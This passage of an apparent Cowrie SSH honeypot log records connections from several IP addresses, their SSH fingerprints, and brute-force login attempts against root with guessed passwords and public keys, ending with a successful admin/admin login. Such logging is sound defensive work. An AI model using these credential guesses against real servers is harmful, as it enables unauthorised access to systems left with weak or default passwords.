af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:19.907226Z","src_ip":"209.99.190.200","session":"e4f908279558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030102030","message":"login attempt [root/102030102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:20.322974Z","src_ip":"209.99.190.200","session":"e4f908279558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:21.422462Z","src_ip":"209.99.190.200","session":"e4f908279558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":60396,"dst_ip":"10.17.0.5","dst_port":22,"session":"9713f3b5c259","protocol":"ssh","message":"New connection: 43.153.56.192:60396 (10.17.0.5:22) [session: 9713f3b5c259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.440218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.444901Z","src_ip":"43.153.56.192","session":"9713f3b5c259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.513463Z","src_ip":"43.153.56.192","session":"9713f3b5c259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.68.103.106","src_port":50790,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7aae4915093","protocol":"ssh","message":"New connection: 51.68.103.106:50790 (10.17.0.5:22) [session: f7aae4915093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.698965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.704849Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.783262Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2083","message":"login attempt [root/2083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:38.819978Z","src_ip":"43.153.56.192","session":"9713f3b5c259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:24:d0:08:2e:16:38:c6:1c:c7:00:84:df:63:87:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQQskk2bWsGR8KEsq6bYEGdKl6JuAJ1vubn+/r3kOhDVNN9/fWXLUx8E4kpUmhHoZ+xNGJlH8SR8+d0KmfIt2HkJj3cN/T/a96aGqpDp1H4WSR8lfO8DRyIBLScrnh1T6iRfSjXcfm8iR9L5fXC/oBefeAKI2kd2TZpj7KlU7FwkGWCvYOTzZTSbOjSbQ3PiRvHSAqywyGh3QRgY6m4zDHpbKbrF88WjveyfYamkCIFQUUfV0Mwa9aaPKpOf98bmVNKN5iMjonJktFP6DBeJVVFuZOC83kl4KXIRclE677mIS3dSIkDkuIXM2Gzmn8RL7mfJsQaYVLDgx7Y0q+wEhp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:24:d0:08:2e:16:38:c6:1c:c7:00:84:df:63:87:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.155689Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:24:d0:08:2e:16:38:c6:1c:c7:00:84:df:63:87:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQQskk2bWsGR8KEsq6bYEGdKl6JuAJ1vubn+/r3kOhDVNN9/fWXLUx8E4kpUmhHoZ+xNGJlH8SR8+d0KmfIt2HkJj3cN/T/a96aGqpDp1H4WSR8lfO8DRyIBLScrnh1T6iRfSjXcfm8iR9L5fXC/oBefeAKI2kd2TZpj7KlU7FwkGWCvYOTzZTSbOjSbQ3PiRvHSAqywyGh3QRgY6m4zDHpbKbrF88WjveyfYamkCIFQUUfV0Mwa9aaPKpOf98bmVNKN5iMjonJktFP6DBeJVVFuZOC83kl4KXIRclE677mIS3dSIkDkuIXM2Gzmn8RL7mfJsQaYVLDgx7Y0q+wEhp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.159727Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:bc:9c:cf:37:41:24:60:91:d1:7e:93:db:dd:c4:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxleHqOOd2rTR9UDvlEaWDlxkknkoWFspUT42GSQlZIaRo0SxpwIbMBIWJ1y2bFNJ1fLwCV9dTf0nk/pJ0z9xUlxibuniRxRwnsCrP68hxHn/QoMYR5kfoHSVXmp6oRKxoFRh18/I/f0t+JMfqu5y20ReiMPtPPxLPffVYInDuUwY7LWkVcY2oPCV3x+sfgN0RxXEsYbvDfnKT3R4tM/JjDOAEfzSr4nUnQ85PJJTZjbX7v9dYHZAXlbe0TeJfNAjHEzXzk0EBv9/3kI/mc3MoRajUF9B5llQ+LEUN+M/YSv2zbUUHBf7TlQkA4acdPZqzBIxbutiQ7MPKu8LMiGi9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:bc:9c:cf:37:41:24:60:91:d1:7e:93:db:dd:c4:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.239628Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:bc:9c:cf:37:41:24:60:91:d1:7e:93:db:dd:c4:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxleHqOOd2rTR9UDvlEaWDlxkknkoWFspUT42GSQlZIaRo0SxpwIbMBIWJ1y2bFNJ1fLwCV9dTf0nk/pJ0z9xUlxibuniRxRwnsCrP68hxHn/QoMYR5kfoHSVXmp6oRKxoFRh18/I/f0t+JMfqu5y20ReiMPtPPxLPffVYInDuUwY7LWkVcY2oPCV3x+sfgN0RxXEsYbvDfnKT3R4tM/JjDOAEfzSr4nUnQ85PJJTZjbX7v9dYHZAXlbe0TeJfNAjHEzXzk0EBv9/3kI/mc3MoRajUF9B5llQ+LEUN+M/YSv2zbUUHBf7TlQkA4acdPZqzBIxbutiQ7MPKu8LMiGi9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.243554Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:3e:d7:38:79:d1:03:68:85:4d:9b:0f:2e:6b:d2:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy0zsNhFt6/XdzJSjQ/6aw/mAl5gSilBLYIz5IOUIIAptei9K3DrCzRbikNX1QI8LgXI5KqDbeWMUJ1k6MY+G9oMedvJP+dw/dhuiCJV/BcHtomPPPKUGCnLAIPrWz2Olr+MtfpnNdT7R9nvO2o5wcUSk/zpY2eh/D0zqgmfD6eC5ADg42N/zUKBrtab2cwdhohmOriutUmzniVsfEue5maGaENsFhusKe2wUYWp99UneDFnDBWItK6CtNF+VdZ7s2Bgp2dQLajr/qNiGY5eMWABw30g65Di3glBz2utZxJxzwnWk7TVxzeiR83UlyOYMfOhNiHjHOIAiXzoy6o/ZbjVuFL2MsoIWAXoUi5L4yFFdF3dUAO4vNzdJMf6pp2bK/CsFlTp5LSFsIqwJJBrUYAWcd1QETUJO7k8F7TTrTBYzzY6R9VnI9I5n3FSFSCZZpv4Cm42/m/GFFqs5aXfAGaBME94+mGYuATdv3yO3z21uZN4DTo6v3iTiUUot1Nyq813IPv+PIzS4fXcUqHww90b8X9WcoAwGEG4v3DHGl2+swP03g2K5UfkhSqZHcn4qD4AR416urfOyP7Z3S+ag3P5TY92CLIHrHGwsXmfMt4CeiczCUxXQyaKWXU0P6+U1AtwBNKhgmS09Sx6ozVmZTZwr2aTtzmhE85Q2SuQNwTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:3e:d7:38:79:d1:03:68:85:4d:9b:0f:2e:6b:d2:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.324132Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:3e:d7:38:79:d1:03:68:85:4d:9b:0f:2e:6b:d2:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy0zsNhFt6/XdzJSjQ/6aw/mAl5gSilBLYIz5IOUIIAptei9K3DrCzRbikNX1QI8LgXI5KqDbeWMUJ1k6MY+G9oMedvJP+dw/dhuiCJV/BcHtomPPPKUGCnLAIPrWz2Olr+MtfpnNdT7R9nvO2o5wcUSk/zpY2eh/D0zqgmfD6eC5ADg42N/zUKBrtab2cwdhohmOriutUmzniVsfEue5maGaENsFhusKe2wUYWp99UneDFnDBWItK6CtNF+VdZ7s2Bgp2dQLajr/qNiGY5eMWABw30g65Di3glBz2utZxJxzwnWk7TVxzeiR83UlyOYMfOhNiHjHOIAiXzoy6o/ZbjVuFL2MsoIWAXoUi5L4yFFdF3dUAO4vNzdJMf6pp2bK/CsFlTp5LSFsIqwJJBrUYAWcd1QETUJO7k8F7TTrTBYzzY6R9VnI9I5n3FSFSCZZpv4Cm42/m/GFFqs5aXfAGaBME94+mGYuATdv3yO3z21uZN4DTo6v3iTiUUot1Nyq813IPv+PIzS4fXcUqHww90b8X9WcoAwGEG4v3DHGl2+swP03g2K5UfkhSqZHcn4qD4AR416urfOyP7Z3S+ag3P5TY92CLIHrHGwsXmfMt4CeiczCUxXQyaKWXU0P6+U1AtwBNKhgmS09Sx6ozVmZTZwr2aTtzmhE85Q2SuQNwTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.328542Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:a1:85:ea:5f:40:79:46:b0:2a:d9:72:a2:53:fd:38","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPa0udE/QuCsT8T4fHMXqE9D3t927syPAA3+/2RwVO76z+CH5xeJyg1QCCY+B/mVQ3F+BUI0YLoGSHE0qastaqOOV81cbSmh+vX3nH/fEBidVPXMHNYdcVPnwYKNXhAbl3U+My3xuhyDP9oMp2qnXdeXwDObxa+BUQFn4hFdRkrHAAAAFQC6FicSGhhX4uF65UBObzSKm2bbKQAAAIAuH9LTpgpwTAOg0SxMbfasOdRTEotZ0ZMgOd4rWXzdrmuwVBM4yjNxyW/VLvQ5/pLCv6/7GdGSNwO99jtj2THxSR0xO46hyGEVRspNoEmBjc2KH/8wdasmNsuI2ZzxT104MUXqjQjiNdu3OBNQdUCftVPJucTe7U1bNvTRpWThWQAAAIEA4/KKvYOBmOF7LgqXo1afX2eE6Z5slV1xPh8md+JwrJrY+3eo37teXAS6yaljWo+QtJl6NR3/kO+YM2z4RJE+S+T2FW9yUOEloE9OVot2vPX9fGa6CK4GLiX6LqnN9U3eTC+U4jJznLI+IUBhTaFNjCBmdmM5mD6iEKBCsKM+/y8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1e:a1:85:ea:5f:40:79:46:b0:2a:d9:72:a2:53:fd:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.410716Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:a1:85:ea:5f:40:79:46:b0:2a:d9:72:a2:53:fd:38","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPa0udE/QuCsT8T4fHMXqE9D3t927syPAA3+/2RwVO76z+CH5xeJyg1QCCY+B/mVQ3F+BUI0YLoGSHE0qastaqOOV81cbSmh+vX3nH/fEBidVPXMHNYdcVPnwYKNXhAbl3U+My3xuhyDP9oMp2qnXdeXwDObxa+BUQFn4hFdRkrHAAAAFQC6FicSGhhX4uF65UBObzSKm2bbKQAAAIAuH9LTpgpwTAOg0SxMbfasOdRTEotZ0ZMgOd4rWXzdrmuwVBM4yjNxyW/VLvQ5/pLCv6/7GdGSNwO99jtj2THxSR0xO46hyGEVRspNoEmBjc2KH/8wdasmNsuI2ZzxT104MUXqjQjiNdu3OBNQdUCftVPJucTe7U1bNvTRpWThWQAAAIEA4/KKvYOBmOF7LgqXo1afX2eE6Z5slV1xPh8md+JwrJrY+3eo37teXAS6yaljWo+QtJl6NR3/kO+YM2z4RJE+S+T2FW9yUOEloE9OVot2vPX9fGa6CK4GLiX6LqnN9U3eTC+U4jJznLI+IUBhTaFNjCBmdmM5mD6iEKBCsKM+/y8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.414939Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:3e:76:0f:a3:90:88:4e:8b:b3:d0:a9:be:f7:f3:18","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ6o0uiIH3xDXeZPITsbloNDP0l4+qBx3eBS3tMBX1EyIWnqlKGpwiYekxn4SI409SLzPDl1aAXHhBCWlh0UU0Xnn+LUlURVn7t43NBas71Y2CrKz/TRs9nqJhshycXBXyDuPhuW50ZEfIme9uiGy9zVJFBz9Dz6MpBx8XQ1xGC3AAAAFQCLGclJT/8ZHvclY9ffux+kJWtZvQAAAIBGSHQd2bGy6bvnFezcTEo5CXk+VLNBUh5sjdX31F0VT/FXH1r3LAb7CFp8i82xETQfpNzr+fDFn/UPe/aNS4Qo9Zt9LFb/vATVnvTfmKuvSh18cfNTBUedO3M95UXG953tC7mWk7nh+YXivgjzbcifcQlHTbSzCsSR6wKeh5aJBAAAAIBZdpzogC1UNAS+TMiKl1AiIjUFtcH4tlrr6Rmmd52ZcNHbonVRX7A1oIuGNvNyDLypmUB/E59MMfA0ocSu4aS5IomUg0FhokiisUlcWnbRLmGH8rxlCh/tVDkNz+AeZTVPz7FMyCaRzAcbIE5Qb/6VeKW/1LYSxS8pmVy32EmeZQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1e:3e:76:0f:a3:90:88:4e:8b:b3:d0:a9:be:f7:f3:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.495834Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:3e:76:0f:a3:90:88:4e:8b:b3:d0:a9:be:f7:f3:18","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ6o0uiIH3xDXeZPITsbloNDP0l4+qBx3eBS3tMBX1EyIWnqlKGpwiYekxn4SI409SLzPDl1aAXHhBCWlh0UU0Xnn+LUlURVn7t43NBas71Y2CrKz/TRs9nqJhshycXBXyDuPhuW50ZEfIme9uiGy9zVJFBz9Dz6MpBx8XQ1xGC3AAAAFQCLGclJT/8ZHvclY9ffux+kJWtZvQAAAIBGSHQd2bGy6bvnFezcTEo5CXk+VLNBUh5sjdX31F0VT/FXH1r3LAb7CFp8i82xETQfpNzr+fDFn/UPe/aNS4Qo9Zt9LFb/vATVnvTfmKuvSh18cfNTBUedO3M95UXG953tC7mWk7nh+YXivgjzbcifcQlHTbSzCsSR6wKeh5aJBAAAAIBZdpzogC1UNAS+TMiKl1AiIjUFtcH4tlrr6Rmmd52ZcNHbonVRX7A1oIuGNvNyDLypmUB/E59MMfA0ocSu4aS5IomUg0FhokiisUlcWnbRLmGH8rxlCh/tVDkNz+AeZTVPz7FMyCaRzAcbIE5Qb/6VeKW/1LYSxS8pmVy32EmeZQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.500668Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.581132Z","src_ip":"51.68.103.106","session":"f7aae4915093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:39.891474Z","src_ip":"43.153.56.192","session":"9713f3b5c259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":37144,"dst_ip":"10.17.0.5","dst_port":22,"session":"5adad20e7ee4","protocol":"ssh","message":"New connection: 20.203.59.187:37144 (10.17.0.5:22) [session: 5adad20e7ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:41.024772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:41.029948Z","src_ip":"20.203.59.187","session":"5adad20e7ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:41.198030Z","src_ip":"20.203.59.187","session":"5adad20e7ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shinee","message":"login attempt [root/shinee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:41.901248Z","src_ip":"20.203.59.187","session":"5adad20e7ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33988,"dst_ip":"10.17.0.5","dst_port":22,"session":"97ce65fee9e5","protocol":"ssh","message":"New connection: 87.251.64.176:33988 (10.17.0.5:22) [session: 97ce65fee9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:42.317896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:42.328028Z","src_ip":"87.251.64.176","session":"97ce65fee9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:42.425145Z","src_ip":"87.251.64.176","session":"97ce65fee9e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:42.715439Z","src_ip":"87.251.64.176","session":"97ce65fee9e5","protocol":"ssh"}
